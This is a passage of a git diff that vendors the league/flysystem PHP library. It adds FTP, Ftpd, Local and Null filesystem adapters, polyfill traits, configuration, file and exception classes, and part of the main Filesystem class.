@throws ConnectionRuntimeException + */ + protected function login() + { + set_error_handler(function () { + }); + $isLoggedIn = ftp_login( + $this->connection, + $this->getUsername(), + $this->getPassword() + ); + restore_error_handler(); + + if ( ! $isLoggedIn) { + $this->disconnect(); + throw new ConnectionRuntimeException( + 'Could not login with connection: ' . $this->getHost() . '::' . $this->getPort( + ) . ', username: ' . $this->getUsername() + ); + } + } + + /** + * Disconnect from the FTP server. + */ + public function disconnect() + { + if (is_resource($this->connection)) { + @ftp_close($this->connection); + } + + $this->connection = null; + } + + /** + * @inheritdoc + */ + public function write($path, $contents, Config $config) + { + $stream = fopen('php://temp', 'w+b'); + fwrite($stream, $contents); + rewind($stream); + $result = $this->writeStream($path, $stream, $config); + fclose($stream); + + if ($result === false) { + return false; + } + + $result['contents'] = $contents; + $result['mimetype'] = $config->get('mimetype') ?: Util::guessMimeType($path, $contents); + + return $result; + } + + /** + * @inheritdoc + */ + public function writeStream($path, $resource, Config $config) + { + $this->ensureDirectory(Util::dirname($path)); + + if ( ! ftp_fput($this->getConnection(), $path, $resource, $this->transferMode)) { + return false; + } + + if ($visibility = $config->get('visibility')) { + $this->setVisibility($path, $visibility); + } + + $type = 'file'; + + return compact('type', 'path', 'visibility'); + } + + /** + * @inheritdoc + */ + public function update($path, $contents, Config $config) + { + return $this->write($path, $contents, $config); + } + + /** + * @inheritdoc + */ + public function updateStream($path, $resource, Config $config) + { + return $this->writeStream($path, $resource, $config); + } + + /** + * @inheritdoc + */ + public function rename($path, $newpath) + { + return ftp_rename($this->getConnection(), $path, $newpath); + } + + /** + * @inheritdoc + */ + public function delete($path) + { + return ftp_delete($this->getConnection(), $path); + } + + /** + * @inheritdoc + */ + public function deleteDir($dirname) + { + $connection = $this->getConnection(); + $contents = array_reverse($this->listDirectoryContents($dirname, false)); + + foreach ($contents as $object) { + if ($object['type'] === 'file') { + if ( ! ftp_delete($connection, $object['path'])) { + return false; + } + } elseif ( ! $this->deleteDir($object['path'])) { + return false; + } + } + + return ftp_rmdir($connection, $dirname); + } + + /** + * @inheritdoc + */ + public function createDir($dirname, Config $config) + { + $connection = $this->getConnection(); + $directories = explode('/', $dirname); + + foreach ($directories as $directory) { + if (false === $this->createActualDirectory($directory, $connection)) { + $this->setConnectionRoot(); + + return false; + } + + ftp_chdir($connection, $directory); + } + + $this->setConnectionRoot(); + + return ['type' => 'dir', 'path' => $dirname]; + } + + /** + * Create a directory. + * + * @param string $directory + * @param resource $connection + * + * @return bool + */ + protected function createActualDirectory($directory, $connection) + { + // List the current directory + $listing = ftp_nlist($connection, '.') ?: []; + + foreach ($listing as $key => $item) { + if (preg_match('~^\./.*~', $item)) { + $listing[$key] = substr($item, 2); + } + } + + if (in_array($directory, $listing, true)) { + return true; + } + + return (boolean) ftp_mkdir($connection, $directory); + } + + /** + * @inheritdoc + */ + public function getMetadata($path) + { + if ($path === '') { + return ['type' => 'dir', 'path' => '']; + } + + if (@ftp_chdir($this->getConnection(), $path) === true) { + $this->setConnectionRoot(); + + return ['type' => 'dir', 'path' => $path]; + } + + $listing = $this->ftpRawlist('-A', $path); + + if (empty($listing) || in_array('total 0', $listing, true)) { + return false; + } + + if (preg_match('/.* not found/', $listing[0])) { + return false; + } + + if (preg_match('/^total [0-9]*$/', $listing[0])) { + array_shift($listing); + } + + return $this->normalizeObject($listing[0], ''); + } + + /** + * @inheritdoc + */ + public function getMimetype($path) + { + if ( ! $metadata = $this->getMetadata($path)) { + return false; + } + + $metadata['mimetype'] = MimeType::detectByFilename($path); + + return $metadata; + } + + /** + * @inheritdoc + */ + public function getTimestamp($path) + { + $timestamp = ftp_mdtm($this->getConnection(), $path); + + return ($timestamp !== -1) ? ['path' => $path, 'timestamp' => $timestamp] : false; + } + + /** + * @inheritdoc + */ + public function read($path) + { + if ( ! $object = $this->readStream($path)) { + return false; + } + + $object['contents'] = stream_get_contents($object['stream']); + fclose($object['stream']); + unset($object['stream']); + + return $object; + } + + /** + * @inheritdoc + */ + public function readStream($path) + { + $stream = fopen('php://temp', 'w+b'); + $result = ftp_fget($this->getConnection(), $stream, $path, $this->transferMode); + rewind($stream); + + if ( ! $result) { + fclose($stream); + + return false; + } + + return ['type' => 'file', 'path' => $path, 'stream' => $stream]; + } + + /** + * @inheritdoc + */ + public function setVisibility($path, $visibility) + { + $mode = $visibility === AdapterInterface::VISIBILITY_PUBLIC ? $this->getPermPublic() : $this->getPermPrivate(); + + if ( ! ftp_chmod($this->getConnection(), $mode, $path)) { + return false; + } + + return compact('path', 'visibility'); + } + + /** + * @inheritdoc + * + * @param string $directory + */ + protected function listDirectoryContents($directory, $recursive = true) + { + if ($recursive && $this->recurseManually) { + return $this->listDirectoryContentsRecursive($directory); + } + + $options = $recursive ? '-alnR' : '-aln'; + $listing = $this->ftpRawlist($options, $directory); + + return $listing ? $this->normalizeListing($listing, $directory) : []; + } + + /** + * @inheritdoc + * + * @param string $directory + */ + protected function listDirectoryContentsRecursive($directory) + { + $listing = $this->normalizeListing($this->ftpRawlist('-aln', $directory) ?: [], $directory); + $output = []; + + foreach ($listing as $item) { + $output[] = $item; + if ($item['type'] !== 'dir') { + continue; + } + $output = array_merge($output, $this->listDirectoryContentsRecursive($item['path'])); + } + + return $output; + } + + /** + * Check if the connection is open. + * + * @return bool + * + * @throws ConnectionErrorException + */ + public function isConnected() + { + return is_resource($this->connection) + && $this->getRawExecResponseCode('NOOP') === 200; + } + + /** + * @return bool + */ + protected function isPureFtpdServer() + { + $response = ftp_raw($this->connection, 'HELP'); + + return stripos(implode(' ', $response), 'Pure-FTPd') !== false; + } + + /** + * The ftp_rawlist function with optional escaping. + * + * @param string $options + * @param string $path + * + * @return array + */ + protected function ftpRawlist($options, $path) + { + $connection = $this->getConnection(); + + if ($this->isPureFtpd) { + $path = str_replace(' ', '\ ', $path); + $this->escapePath($path); + } + + return ftp_rawlist($connection, $options . ' ' . $path); + } + + private function getRawExecResponseCode($command) + { + $response = @ftp_raw($this->connection, trim($command)); + + return (int) preg_replace('/\D/', '', implode(' ', $response)); + } +} diff --git a/vendor/league/flysystem/src/Adapter/Ftpd.php b/vendor/league/flysystem/src/Adapter/Ftpd.php new file mode 100644 index 0000000..7e71d19 --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/Ftpd.php @@ -0,0 +1,48 @@ + 'dir', 'path' => '']; + } + + if (@ftp_chdir($this->getConnection(), $path) === true) { + $this->setConnectionRoot(); + + return ['type' => 'dir', 'path' => $path]; + } + + $object = ftp_raw($this->getConnection(), 'STAT ' . $this->escapePath($path)); + + if ( ! $object || count($object) < 3) { + return false; + } + + if (substr($object[1], 0, 5) === "ftpd:") { + return false; + } + + return $this->normalizeObject($object[1], ''); + } + + /** + * @inheritdoc + */ + protected function listDirectoryContents($directory, $recursive = true) + { + $listing = ftp_rawlist($this->getConnection(), $this->escapePath($directory), $recursive); + + if ($listing === false || ( ! empty($listing) && substr($listing[0], 0, 5) === "ftpd:")) { + return []; + } + + return $this->normalizeListing($listing, $directory); + } +} diff --git a/vendor/league/flysystem/src/Adapter/Local.php b/vendor/league/flysystem/src/Adapter/Local.php new file mode 100644 index 0000000..747c463 --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/Local.php @@ -0,0 +1,533 @@ + [ + 'public' => 0644, + 'private' => 0600, + ], + 'dir' => [ + 'public' => 0755, + 'private' => 0700, + ], + ]; + + /** + * @var string + */ + protected $pathSeparator = DIRECTORY_SEPARATOR; + + /** + * @var array + */ + protected $permissionMap; + + /** + * @var int + */ + protected $writeFlags; + + /** + * @var int + */ + private $linkHandling; + + /** + * Constructor. + * + * @param string $root + * @param int $writeFlags + * @param int $linkHandling + * @param array $permissions + * + * @throws LogicException + */ + public function __construct($root, $writeFlags = LOCK_EX, $linkHandling = self::DISALLOW_LINKS, array $permissions = []) + { + $root = is_link($root) ? realpath($root) : $root; + $this->permissionMap = array_replace_recursive(static::$permissions, $permissions); + $this->ensureDirectory($root); + + if ( ! is_dir($root) || ! is_readable($root)) { + throw new LogicException('The root path ' . $root . ' is not readable.'); + } + + $this->setPathPrefix($root); + $this->writeFlags = $writeFlags; + $this->linkHandling = $linkHandling; + } + + /** + * Ensure the root directory exists. + * + * @param string $root root directory path + * + * @return void + * + * @throws Exception in case the root directory can not be created + */ + protected function ensureDirectory($root) + { + if ( ! is_dir($root)) { + $umask = umask(0); + + if ( ! @mkdir($root, $this->permissionMap['dir']['public'], true)) { + $mkdirError = error_get_last(); + } + + umask($umask); + clearstatcache(false, $root); + + if ( ! is_dir($root)) { + $errorMessage = isset($mkdirError['message']) ? $mkdirError['message'] : ''; + throw new Exception(sprintf('Impossible to create the root directory "%s". %s', $root, $errorMessage)); + } + } + } + + /** + * @inheritdoc + */ + public function has($path) + { + $location = $this->applyPathPrefix($path); + + return file_exists($location); + } + + /** + * @inheritdoc + */ + public function write($path, $contents, Config $config) + { + $location = $this->applyPathPrefix($path); + $this->ensureDirectory(dirname($location)); + + if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) { + return false; + } + + $type = 'file'; + $result = compact('contents', 'type', 'size', 'path'); + + if ($visibility = $config->get('visibility')) { + $result['visibility'] = $visibility; + $this->setVisibility($path, $visibility); + } + + return $result; + } + + /** + * @inheritdoc + */ + public function writeStream($path, $resource, Config $config) + { + $location = $this->applyPathPrefix($path); + $this->ensureDirectory(dirname($location)); + $stream = fopen($location, 'w+b'); + + if ( ! $stream || stream_copy_to_stream($resource, $stream) === false || ! fclose($stream)) { + return false; + } + + $type = 'file'; + $result = compact('type', 'path'); + + if ($visibility = $config->get('visibility')) { + $this->setVisibility($path, $visibility); + $result['visibility'] = $visibility; + } + + return $result; + } + + /** + * @inheritdoc + */ + public function readStream($path) + { + $location = $this->applyPathPrefix($path); + $stream = fopen($location, 'rb'); + + return ['type' => 'file', 'path' => $path, 'stream' => $stream]; + } + + /** + * @inheritdoc + */ + public function updateStream($path, $resource, Config $config) + { + return $this->writeStream($path, $resource, $config); + } + + /** + * @inheritdoc + */ + public function update($path, $contents, Config $config) + { + $location = $this->applyPathPrefix($path); + $size = file_put_contents($location, $contents, $this->writeFlags); + + if ($size === false) { + return false; + } + + $type = 'file'; + + $result = compact('type', 'path', 'size', 'contents'); + + if ($visibility = $config->get('visibility')) { + $this->setVisibility($path, $visibility); + $result['visibility'] = $visibility; + } + + return $result; + } + + /** + * @inheritdoc + */ + public function read($path) + { + $location = $this->applyPathPrefix($path); + $contents = @file_get_contents($location); + + if ($contents === false) { + return false; + } + + return ['type' => 'file', 'path' => $path, 'contents' => $contents]; + } + + /** + * @inheritdoc + */ + public function rename($path, $newpath) + { + $location = $this->applyPathPrefix($path); + $destination = $this->applyPathPrefix($newpath); + $parentDirectory = $this->applyPathPrefix(Util::dirname($newpath)); + $this->ensureDirectory($parentDirectory); + + return rename($location, $destination); + } + + /** + * @inheritdoc + */ + public function copy($path, $newpath) + { + $location = $this->applyPathPrefix($path); + $destination = $this->applyPathPrefix($newpath); + $this->ensureDirectory(dirname($destination)); + + return copy($location, $destination); + } + + /** + * @inheritdoc + */ + public function delete($path) + { + $location = $this->applyPathPrefix($path); + + return @unlink($location); + } + + /** + * @inheritdoc + */ + public function listContents($directory = '', $recursive = false) + { + $result = []; + $location = $this->applyPathPrefix($directory); + + if ( ! is_dir($location)) { + return []; + } + + $iterator = $recursive ? $this->getRecursiveDirectoryIterator($location) : $this->getDirectoryIterator($location); + + foreach ($iterator as $file) { + $path = $this->getFilePath($file); + + if (preg_match('#(^|/|\\\\)\.{1,2}$#', $path)) { + continue; + } + + $result[] = $this->normalizeFileInfo($file); + } + + unset($iterator); + + return array_filter($result); + } + + /** + * @inheritdoc + */ + public function getMetadata($path) + { + $location = $this->applyPathPrefix($path); + clearstatcache(false, $location); + $info = new SplFileInfo($location); + + return $this->normalizeFileInfo($info); + } + + /** + * @inheritdoc + */ + public function getSize($path) + { + return $this->getMetadata($path); + } + + /** + * @inheritdoc + */ + public function getMimetype($path) + { + $location = $this->applyPathPrefix($path); + $finfo = new Finfo(FILEINFO_MIME_TYPE); + $mimetype = $finfo->file($location); + + if (in_array($mimetype, ['application/octet-stream', 'inode/x-empty', 'application/x-empty'])) { + $mimetype = Util\MimeType::detectByFilename($location); + } + + return ['path' => $path, 'type' => 'file', 'mimetype' => $mimetype]; + } + + /** + * @inheritdoc + */ + public function getTimestamp($path) + { + return $this->getMetadata($path); + } + + /** + * @inheritdoc + */ + public function getVisibility($path) + { + $location = $this->applyPathPrefix($path); + clearstatcache(false, $location); + $permissions = octdec(substr(sprintf('%o', fileperms($location)), -4)); + $type = is_dir($location) ? 'dir' : 'file'; + + foreach ($this->permissionMap[$type] as $visibility => $visibilityPermissions) { + if ($visibilityPermissions == $permissions) { + return compact('path', 'visibility'); + } + } + + $visibility = substr(sprintf('%o', fileperms($location)), -4); + + return compact('path', 'visibility'); + } + + /** + * @inheritdoc + */ + public function setVisibility($path, $visibility) + { + $location = $this->applyPathPrefix($path); + $type = is_dir($location) ? 'dir' : 'file'; + $success = chmod($location, $this->permissionMap[$type][$visibility]); + + if ($success === false) { + return false; + } + + return compact('path', 'visibility'); + } + + /** + * @inheritdoc + */ + public function createDir($dirname, Config $config) + { + $location = $this->applyPathPrefix($dirname); + $umask = umask(0); + $visibility = $config->get('visibility', 'public'); + $return = ['path' => $dirname, 'type' => 'dir']; + + if ( ! is_dir($location)) { + if (false === @mkdir($location, $this->permissionMap['dir'][$visibility], true) + || false === is_dir($location)) { + $return = false; + } + } + + umask($umask); + + return $return; + } + + /** + * @inheritdoc + */ + public function deleteDir($dirname) + { + $location = $this->applyPathPrefix($dirname); + + if ( ! is_dir($location)) { + return false; + } + + $contents = $this->getRecursiveDirectoryIterator($location, RecursiveIteratorIterator::CHILD_FIRST); + + /** @var SplFileInfo $file */ + foreach ($contents as $file) { + $this->guardAgainstUnreadableFileInfo($file); + $this->deleteFileInfoObject($file); + } + + unset($contents); + + return rmdir($location); + } + + /** + * @param SplFileInfo $file + */ + protected function deleteFileInfoObject(SplFileInfo $file) + { + switch ($file->getType()) { + case 'dir': + rmdir($file->getRealPath()); + break; + case 'link': + unlink($file->getPathname()); + break; + default: + unlink($file->getRealPath()); + } + } + + /** + * Normalize the file info. + * + * @param SplFileInfo $file + * + * @return array|void + * + * @throws NotSupportedException + */ + protected function normalizeFileInfo(SplFileInfo $file) + { + if ( ! $file->isLink()) { + return $this->mapFileInfo($file); + } + + if ($this->linkHandling & self::DISALLOW_LINKS) { + throw NotSupportedException::forLink($file); + } + } + + /** + * Get the normalized path from a SplFileInfo object. + * + * @param SplFileInfo $file + * + * @return string + */ + protected function getFilePath(SplFileInfo $file) + { + $location = $file->getPathname(); + $path = $this->removePathPrefix($location); + + return trim(str_replace('\\', '/', $path), '/'); + } + + /** + * @param string $path + * @param int $mode + * + * @return RecursiveIteratorIterator + */ + protected function getRecursiveDirectoryIterator($path, $mode = RecursiveIteratorIterator::SELF_FIRST) + { + return new RecursiveIteratorIterator( + new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS), + $mode + ); + } + + /** + * @param string $path + * + * @return DirectoryIterator + */ + protected function getDirectoryIterator($path) + { + $iterator = new DirectoryIterator($path); + + return $iterator; + } + + /** + * @param SplFileInfo $file + * + * @return array + */ + protected function mapFileInfo(SplFileInfo $file) + { + $normalized = [ + 'type' => $file->getType(), + 'path' => $this->getFilePath($file), + ]; + + $normalized['timestamp'] = $file->getMTime(); + + if ($normalized['type'] === 'file') { + $normalized['size'] = $file->getSize(); + } + + return $normalized; + } + + /** + * @param SplFileInfo $file + * + * @throws UnreadableFileException + */ + protected function guardAgainstUnreadableFileInfo(SplFileInfo $file) + { + if ( ! $file->isReadable()) { + throw UnreadableFileException::forFileInfo($file); + } + } +} diff --git a/vendor/league/flysystem/src/Adapter/NullAdapter.php b/vendor/league/flysystem/src/Adapter/NullAdapter.php new file mode 100644 index 0000000..2527087 --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/NullAdapter.php @@ -0,0 +1,144 @@ +get('visibility')) { + $result['visibility'] = $visibility; + } + + return $result; + } + + /** + * @inheritdoc + */ + public function update($path, $contents, Config $config) + { + return false; + } + + /** + * @inheritdoc + */ + public function read($path) + { + return false; + } + + /** + * @inheritdoc + */ + public function rename($path, $newpath) + { + return false; + } + + /** + * @inheritdoc + */ + public function delete($path) + { + return false; + } + + /** + * @inheritdoc + */ + public function listContents($directory = '', $recursive = false) + { + return []; + } + + /** + * @inheritdoc + */ + public function getMetadata($path) + { + return false; + } + + /** + * @inheritdoc + */ + public function getSize($path) + { + return false; + } + + /** + * @inheritdoc + */ + public function getMimetype($path) + { + return false; + } + + /** + * @inheritdoc + */ + public function getTimestamp($path) + { + return false; + } + + /** + * @inheritdoc + */ + public function getVisibility($path) + { + return false; + } + + /** + * @inheritdoc + */ + public function setVisibility($path, $visibility) + { + return compact('visibility'); + } + + /** + * @inheritdoc + */ + public function createDir($dirname, Config $config) + { + return ['path' => $dirname, 'type' => 'dir']; + } + + /** + * @inheritdoc + */ + public function deleteDir($dirname) + { + return false; + } +} diff --git a/vendor/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php b/vendor/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php new file mode 100644 index 0000000..fc0a747 --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php @@ -0,0 +1,33 @@ +readStream($path); + + if ($response === false || ! is_resource($response['stream'])) { + return false; + } + + $result = $this->writeStream($newpath, $response['stream'], new Config()); + + if ($result !== false && is_resource($response['stream'])) { + fclose($response['stream']); + } + + return $result !== false; + } + + // Required abstract method + + /** + * @param string $path + * + * @return resource + */ + abstract public function readStream($path); + + /** + * @param string $path + * @param resource $resource + * @param Config $config + * + * @return resource + */ + abstract public function writeStream($path, $resource, Config $config); +} diff --git a/vendor/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php b/vendor/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php new file mode 100644 index 0000000..2b31c01 --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php @@ -0,0 +1,44 @@ +read($path)) { + return false; + } + + $stream = fopen('php://temp', 'w+b'); + fwrite($stream, $data['contents']); + rewind($stream); + $data['stream'] = $stream; + unset($data['contents']); + + return $data; + } + + /** + * Reads a file. + * + * @param string $path + * + * @return array|false + * + * @see League\Flysystem\ReadInterface::read() + */ + abstract public function read($path); +} diff --git a/vendor/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php b/vendor/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php new file mode 100644 index 0000000..8042496 --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php @@ -0,0 +1,9 @@ +stream($path, $resource, $config, 'write'); + } + + /** + * Update a file using a stream. + * + * @param string $path + * @param resource $resource + * @param Config $config Config object or visibility setting + * + * @return mixed false of file metadata + */ + public function updateStream($path, $resource, Config $config) + { + return $this->stream($path, $resource, $config, 'update'); + } + + // Required abstract methods + abstract public function write($pash, $contents, Config $config); + abstract public function update($pash, $contents, Config $config); +} diff --git a/vendor/league/flysystem/src/Adapter/SynologyFtp.php b/vendor/league/flysystem/src/Adapter/SynologyFtp.php new file mode 100644 index 0000000..fe0d344 --- /dev/null +++ b/vendor/league/flysystem/src/Adapter/SynologyFtp.php @@ -0,0 +1,8 @@ +settings = $settings; + } + + /** + * Get a setting. + * + * @param string $key + * @param mixed $default + * + * @return mixed config setting or default when not found + */ + public function get($key, $default = null) + { + if ( ! array_key_exists($key, $this->settings)) { + return $this->getDefault($key, $default); + } + + return $this->settings[$key]; + } + + /** + * Check if an item exists by key. + * + * @param string $key + * + * @return bool + */ + public function has($key) + { + if (array_key_exists($key, $this->settings)) { + return true; + } + + return $this->fallback instanceof Config + ? $this->fallback->has($key) + : false; + } + + /** + * Try to retrieve a default setting from a config fallback. + * + * @param string $key + * @param mixed $default + * + * @return mixed config setting or default when not found + */ + protected function getDefault($key, $default) + { + if ( ! $this->fallback) { + return $default; + } + + return $this->fallback->get($key, $default); + } + + /** + * Set a setting. + * + * @param string $key + * @param mixed $value + * + * @return $this + */ + public function set($key, $value) + { + $this->settings[$key] = $value; + + return $this; + } + + /** + * Set the fallback. + * + * @param Config $fallback + * + * @return $this + */ + public function setFallback(Config $fallback) + { + $this->fallback = $fallback; + + return $this; + } +} diff --git a/vendor/league/flysystem/src/ConfigAwareTrait.php b/vendor/league/flysystem/src/ConfigAwareTrait.php new file mode 100644 index 0000000..202d605 --- /dev/null +++ b/vendor/league/flysystem/src/ConfigAwareTrait.php @@ -0,0 +1,49 @@ +config = $config ? Util::ensureConfig($config) : new Config; + } + + /** + * Get the Config. + * + * @return Config config object + */ + public function getConfig() + { + return $this->config; + } + + /** + * Convert a config array to a Config object with the correct fallback. + * + * @param array $config + * + * @return Config + */ + protected function prepareConfig(array $config) + { + $config = new Config($config); + $config->setFallback($this->getConfig()); + + return $config; + } +} diff --git a/vendor/league/flysystem/src/ConnectionErrorException.php b/vendor/league/flysystem/src/ConnectionErrorException.php new file mode 100644 index 0000000..adb651d --- /dev/null +++ b/vendor/league/flysystem/src/ConnectionErrorException.php @@ -0,0 +1,9 @@ +filesystem->deleteDir($this->path); + } + + /** + * List the directory contents. + * + * @param bool $recursive + * + * @return array|bool directory contents or false + */ + public function getContents($recursive = false) + { + return $this->filesystem->listContents($this->path, $recursive); + } +} diff --git a/vendor/league/flysystem/src/Exception.php b/vendor/league/flysystem/src/Exception.php new file mode 100644 index 0000000..4596c0a --- /dev/null +++ b/vendor/league/flysystem/src/Exception.php @@ -0,0 +1,8 @@ +filesystem->has($this->path); + } + + /** + * Read the file. + * + * @return string|false file contents + */ + public function read() + { + return $this->filesystem->read($this->path); + } + + /** + * Read the file as a stream. + * + * @return resource|false file stream + */ + public function readStream() + { + return $this->filesystem->readStream($this->path); + } + + /** + * Write the new file. + * + * @param string $content + * + * @return bool success boolean + */ + public function write($content) + { + return $this->filesystem->write($this->path, $content); + } + + /** + * Write the new file using a stream. + * + * @param resource $resource + * + * @return bool success boolean + */ + public function writeStream($resource) + { + return $this->filesystem->writeStream($this->path, $resource); + } + + /** + * Update the file contents. + * + * @param string $content + * + * @return bool success boolean + */ + public function update($content) + { + return $this->filesystem->update($this->path, $content); + } + + /** + * Update the file contents with a stream. + * + * @param resource $resource + * + * @return bool success boolean + */ + public function updateStream($resource) + { + return $this->filesystem->updateStream($this->path, $resource); + } + + /** + * Create the file or update if exists. + * + * @param string $content + * + * @return bool success boolean + */ + public function put($content) + { + return $this->filesystem->put($this->path, $content); + } + + /** + * Create the file or update if exists using a stream. + * + * @param resource $resource + * + * @return bool success boolean + */ + public function putStream($resource) + { + return $this->filesystem->putStream($this->path, $resource); + } + + /** + * Rename the file. + * + * @param string $newpath + * + * @return bool success boolean + */ + public function rename($newpath) + { + if ($this->filesystem->rename($this->path, $newpath)) { + $this->path = $newpath; + + return true; + } + + return false; + } + + /** + * Copy the file. + * + * @param string $newpath + * + * @return File|false new file or false + */ + public function copy($newpath) + { + if ($this->filesystem->copy($this->path, $newpath)) { + return new File($this->filesystem, $newpath); + } + + return false; + } + + /** + * Get the file's timestamp. + * + * @return string|false The timestamp or false on failure. + */ + public function getTimestamp() + { + return $this->filesystem->getTimestamp($this->path); + } + + /** + * Get the file's mimetype. + * + * @return string|false The file mime-type or false on failure. + */ + public function getMimetype() + { + return $this->filesystem->getMimetype($this->path); + } + + /** + * Get the file's visibility. + * + * @return string|false The visibility (public|private) or false on failure. + */ + public function getVisibility() + { + return $this->filesystem->getVisibility($this->path); + } + + /** + * Get the file's metadata. + * + * @return array|false The file metadata or false on failure. + */ + public function getMetadata() + { + return $this->filesystem->getMetadata($this->path); + } + + /** + * Get the file size. + * + * @return int|false The file size or false on failure. + */ + public function getSize() + { + return $this->filesystem->getSize($this->path); + } + + /** + * Delete the file. + * + * @return bool success boolean + */ + public function delete() + { + return $this->filesystem->delete($this->path); + } +} diff --git a/vendor/league/flysystem/src/FileExistsException.php b/vendor/league/flysystem/src/FileExistsException.php new file mode 100644 index 0000000..c82e20c --- /dev/null +++ b/vendor/league/flysystem/src/FileExistsException.php @@ -0,0 +1,37 @@ +path = $path; + + parent::__construct('File already exists at path: ' . $this->getPath(), $code, $previous); + } + + /** + * Get the path which was found. + * + * @return string + */ + public function getPath() + { + return $this->path; + } +} diff --git a/vendor/league/flysystem/src/FileNotFoundException.php b/vendor/league/flysystem/src/FileNotFoundException.php new file mode 100644 index 0000000..989df69 --- /dev/null +++ b/vendor/league/flysystem/src/FileNotFoundException.php @@ -0,0 +1,37 @@ +path = $path; + + parent::__construct('File not found at path: ' . $this->getPath(), $code, $previous); + } + + /** + * Get the path which was not found. + * + * @return string + */ + public function getPath() + { + return $this->path; + } +} diff --git a/vendor/league/flysystem/src/Filesystem.php b/vendor/league/flysystem/src/Filesystem.php new file mode 100644 index 0000000..59cc82e --- /dev/null +++ b/vendor/league/flysystem/src/Filesystem.php @@ -0,0 +1,408 @@ +adapter = $adapter; + $this->setConfig($config); + } + + /** + * Get the Adapter. + * + * @return AdapterInterface adapter + */ + public function getAdapter() + { + return $this->adapter; + } + + /** + * @inheritdoc + */ + public function has($path) + { + $path = Util::normalizePath($path); + + return strlen($path) === 0 ? false : (bool) $this->getAdapter()->has($path); + } + + /** + * @inheritdoc + */ + public function write($path, $contents, array $config = []) + { + $path = Util::normalizePath($path); + $this->assertAbsent($path); + $config = $this->prepareConfig($config); + + return (bool) $this->getAdapter()->write($path, $contents, $config); + } + + /** + * @inheritdoc + */ + public function writeStream($path, $resource, array $config = []) + { + if ( ! is_resource($resource) || get_resource_type($resource) !== 'stream') { + throw new InvalidArgumentException(__METHOD__ . ' expects argument #2 to be a valid resource.'); + } + + $path = Util::normalizePath($path); + $this->assertAbsent($path); + $config = $this->prepareConfig($config); + + Util::rewindStream($resource); + + return (bool) $this->getAdapter()->writeStream($path, $resource, $config); + } + + /** + * @inheritdoc + */ + public function put($path, $contents, array $config = []) + { + $path = Util::normalizePath($path); + $config = $this->prepareConfig($config); + + if ( ! $this->getAdapter() instanceof CanOverwriteFiles && $this->has($path)) { + return (bool) $this->getAdapter()->update($path, $contents, $config); + } + + return (bool) $this->getAdapter()->write($path, $contents, $config); + } + + /** + * @inheritdoc + */ + public function putStream($path, $resource, array $config = []) + { + if ( ! is_resource($resource) || get_resource_type($resource) !== 'stream') { + throw new InvalidArgumentException(__METHOD__ . ' expects argument #2 to be a valid resource.'); + } + + $path = Util::normalizePath($path); + $config = $this->prepareConfig($config); + Util::rewindStream($resource); + + if ( ! $this->getAdapter() instanceof CanOverwriteFiles && $this->has($path)) { + return (bool) $this->getAdapter()->updateStream($path, $resource, $config); + } + + return (bool) $this->getAdapter()->writeStream($path, $resource, $config); + } + + /** + * @inheritdoc + */ + public function readAndDelete($path) + { + $path = Util::normalizePath($path); + $this->assertPresent($path); + $contents = $this->read($path); + + if ($contents === false) { + return false; + } + + $this->delete($path); + + return $contents; + } + + /** + * @inheritdoc + */ + public function update($path, $contents, array $config = []) + { + $path = Util::normalizePath($path); + $config = $this->prepareConfig($config); + + $this->assertPresent($path); + + return (bool) $this->getAdapter()->update($path, $contents, $config); + } + + /** + * @inheritdoc + */ + public function updateStream($path, $resource, array $config = []) + { + if ( ! is_resource($resource) || get_resource_type($resource) !== 'stream') { + throw new InvalidArgumentException(__METHOD__ . ' expects argument #2 to be a valid resource.'); + } + + $path = Util::normalizePath($path); + $config = $this->prepareConfig($config); + $this->assertPresent($path); + Util::rewindStream($resource); + + return (bool) $this->getAdapter()->updateStream($path, $resource, $config); + } + + /** + * @inheritdoc + */ + public function read($path) + { + $path = Util::normalizePath($path); + $this->assertPresent($path); + + if ( ! ($object = $this->getAdapter()->read($path))) { + return false; + } + + return $object['contents']; + } + + /** + * @inheritdoc + */ + public function readStream($path) + { + $path = Util::normalizePath($path); + $this->assertPresent($path); + + if ( ! $object = $this->getAdapter()->readStream($path)) { + return false; + } + + return $object['stream']; + } + + /** + * @inheritdoc + */ + public function rename($path, $newpath) + { + $path = Util::normalizePath($path); + $newpath = Util::normalizePath($newpath); + $this->assertPresent($path); + $this->assertAbsent($newpath); + + return (bool) $this->getAdapter()->rename($path, $newpath); + } + + /** + * @inheritdoc + */ + public function copy($path, $newpath) + { + $path = Util::normalizePath($path); + $newpath = Util::normalizePath($newpath); + $this->assertPresent($path); + $this->assertAbsent($newpath); + + return $this->getAdapter()->copy($path, $newpath); + } + + /** + * @inheritdoc + */ + public function delete($path) + { + $path = Util::normalizePath($path); + $this->assertPresent($path); + + return $this->getAdapter()->delete($path); + } + + /** + * @inheritdoc + */ + public function deleteDir($dirname) + { + $dirname = Util::normalizePath($dirname); + + if ($dirname === '') { + throw new RootViolationException('Root directories can not be deleted.'); + } + + return (bool) $this->getAdapter()->deleteDir($dirname); + } + + /** + * @inheritdoc + */ + public function createDir($dirname, array $config = []) + { + $dirname = Util::normalizePath($dirname); + $config = $this->prepareConfig($config); + + return (bool) $this->getAdapter()->createDir($dirname, $config); + } + + /** + * @inheritdoc + */ + public function listContents($directory = '', $recursive = false) + { + $directory = Util::normalizePath($directory); + $contents = $this->getAdapter()->listContents($directory, $recursive); + + return (new ContentListingFormatter($directory, $recursive, $this->config->get('case_sensitive', true))) + ->formatListing($contents); + } + + /** + * @inheritdoc + */ + public function getMimetype($path) + { + $path = Util::normalizePath($path); + $this->assertPresent($path); + + if (( ! $object = $this->getAdapter()->getMimetype($path)) || ! array_key_exists('mimetype', $object)) { + return false; + } + + return $object['mimetype']; + } + + /** + * @inheritdoc + */ + public function getTimestamp($path) + { + 